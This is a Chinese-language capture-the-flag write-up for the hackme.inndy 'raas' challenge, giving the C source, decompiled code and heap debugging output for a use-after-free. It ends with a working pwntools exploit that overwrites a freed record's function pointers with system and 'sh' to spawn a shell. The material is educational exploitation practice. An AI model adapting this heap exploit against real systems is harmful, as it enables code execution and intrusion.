hackme.inndy raas wp

hackme.inndy raas wp

查看保护

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

程序代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct record {
void (*print)(struct record *);
void (*free)(struct record *);
union {
int integer;
char *string;
};
};

struct record *records[16];

int ask(const char * q)
{
char buff[32];
printf("%s > ", q);
fgets(buff, sizeof(buff), stdin);
return atoi(buff);
}

void rec_int_print(struct record *rec)
{
printf("Record(Type=Integer, Value=%d)\n", rec->integer);
}

void rec_str_print(struct record *rec)
{
printf("Record(Type=String, Value=%s)\n", rec->string);
}

void rec_int_free(struct record *rec)
{
free(rec);
puts("Record freed!");
}

void rec_str_free(struct record *rec)
{
free(rec->string);
free(rec);
puts("Record freed!");
}

void do_new()
{
int idx = ask("Index");

if(idx < 0 || idx > 16) {
puts("Out of index!");
return;
}
if(records[idx]) {
printf("Index #%d is used!\n", idx);
return;
}

struct record *r = records[idx] = (struct record *)malloc(sizeof(struct record));
r->print = rec_int_print;
r->free = rec_int_free;

puts("Blob type:");
puts("1. Integer");
puts("2. Text");
int type = ask("Type");
unsigned int len;

switch(type) {
case 1:
r->integer = ask("Value");
break;
case 2:
len = ask("Length");
if(len > 1024) {
puts("Length too long, please buy record service premium to store longer record!");
return;
}
r->string = malloc(len);
printf("Value > ");
fgets(r->string, len, stdin);
r->print = rec_str_print;
r->free = rec_str_free;
break;
default:
puts("Invalid type!");
return;
}

puts("Okey, we got your data. Here is it:");
r->print(r);
}

void do_del()
{
int idx = ask("Index");
records[idx]->free(records[idx]);
}

void do_dump()
{
int idx = ask("Index");
records[idx]->print(records[idx]);
}

int main()
{
alarm(600);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);

puts("Welcome to use my Record-as-a-Service (free plan)");
puts("You can only save Integer or String for 600 seconds");
puts("Pay 1,000,000,000,000,000,000,000,000 bitcoins to buy premium plan");

puts("Here is term of service. You must agree to use this service. Please read carefully!");
puts("================================================================================");
system("cat tos.txt | head -n 30 | sed -e 's/^/ /'");
puts("================================================================================");


while(1) {
puts("1. New record");
puts("2. Del record");
puts("3. Show record");

switch(ask("Act")) {
case 1:
do_new();
break;
case 2:
do_del();
break;
case 3:
do_dump();
break;
default:
puts("Bye~ Thanks for using our service!");
return 0;
}
}
}

分析

这个题目给了源代码,题目提示是uaf。
题目分析,程序有三种操作,添加记录、删除记录,展示记录。其中删除记录中,只是释放了空间,但是指针没有被清空,导致uaf。

结构体如下

1
2
3
4
5
6
7
8
struct record {
void (*print)(struct record *);
void (*free)(struct record *);
union {
int integer;
char *string;
};
};

看do_new函数逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int do_new()
{
int v1; // eax
signed int v2; // [esp+0h] [ebp-18h]
int v3; // [esp+4h] [ebp-14h]
size_t size; // [esp+Ch] [ebp-Ch]

v2 = ask("Index");
if ( v2 < 0 || v2 > 16 )
return puts("Out of index!");
if ( records[v2] )
return printf("Index #%d is used!\n", v2);
records[v2] = malloc(0xCu);
v3 = records[v2];
*v3 = rec_int_print;
*(v3 + 4) = rec_int_free;
puts("Blob type:");
puts("1. Integer");
puts("2. Text");
v1 = ask("Type");
if ( v1 == 1 )
{
*(v3 + 8) = ask("Value");
}
else
{
if ( v1 != 2 )
return puts("Invalid type!");
size = ask("Length");
if ( size > 0x400 )
return puts("Length too long, please buy record service premium to store longer record!");
*(v3 + 8) = malloc(size);
printf("Value > ");
fgets(*(v3 + 8), size, _bss_start);
*v3 = rec_str_print;
*(v3 + 4) = rec_str_free;
}
puts("Okey, we got your data. Here is it:");
return (*v3)(v3);
}
  • 先malloc了12字节的堆
  • 头4个字节存用于print结构体的函数指针
  • 再4个字节存用于free结构体的函数指针
  • 如果type是integer,最后四个字节存输入的整数,
  • 如果type是string,获取长度,malloc一个指定长度的堆,新malloc的堆的指针存到之前那12字节的最后四个字节里

利用思路:

  • new 两个record,delete掉,这里的record类型随意,但是字符的要注意新new的长度不要等于12
  • new一个字符串类型的record,长度为12,假设new的两个record是0、1,删除的顺序是0、1,那么这个时候在fastbin的链表里面是 1->0 ,new一个record,存函数指针那个堆复用了1的堆,用来存内容的那个堆是用了0的堆
  • 往0那个堆里面写我们想要的东西,再删除0的record,这样就能getshell

调试

进行以下操作:

  • new index=1 int 0xff
  • new index=2 int 0x88
  • delete index=1
  • delete index=2
  • new index=3 str ‘aaaabbbbccc’
  • new index=4 str ‘dddd’

先添加两个整数

1
2
3
gdb-peda$ x /32wx 0x0804c008
0x804c008: 0x0804869e 0x080486de 0x000000ff 0x00000011
0x804c018: 0x0804869e 0x080486de 0x00000088 0x00020fe1

对应是:

1
2
地址	print函数指针	free函数指针	整型变量
0x804c008 0x0804869e 0x080486de 0x000000ff

释放掉两个整数的堆:

1
2
3
gdb-peda$ x /32wx 0x0804c008
0x804c008: 0x00000000 0x080486de 0x000000ff 0x00000011
0x804c018: 0x0804c000 0x080486de 0x00000088 0x00020fe1

添加字符串aaaabbbbccc后的堆:

1
2
3
4
5
gdb-peda$ x/32wx 0x9a49008
0x9a49008: 0x00000000 0x080486de 0x000000ff 0x00000011
0x9a49018: 0x080486be 0x08048705 0x09a49028 0x00000019
0x9a49028: 0x61616161 0x62626262 0x0a636363 0x00000000
0x9a49038: 0x00000000 0x00020fc9 0x00000000 0x00000000

以看到,输出aaaabbbbccc的时候,占用的就是原来index=1的整数分配的空间。其中aaaa覆盖了print函数的指针,bbbb覆盖了free函数的指针。虽然index=1被释放了,但是指针还在。如果此时再调用do_del来释放index=1的内容,就可以控制EIP了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

context(arch='i386',log_level='debug')
r=process('./raas')
# r=remote('hackme.inndy.tw',7719)
elf=ELF('./raas')
system=elf.symbols['system']

def add(Index,Type,Length,Value):
r.sendlineafter("Act > ","1")
r.sendlineafter("Index > ",str(Index))
r.sendlineafter("Type > ",str(Type))
if Type==2:
r.sendlineafter("Length > ",str(Length))
r.sendlineafter("Value > ",str(Value))

def delete(Index):
r.sendlineafter("Act > ","2")
r.sendlineafter("Index > ",str(Index))

def show(Index):
r.sendlineafter("Act > ","3")
r.sendlineafter("Index > ",str(Index))




add(0,1,20,"0000")
add(1,1,20,"1111")

delete(0)
delete(1)
# gdb.attach(r)

add(2,2,12,'sh\x00\x00'+p32(system))

delete(0)

r.interactive()

参考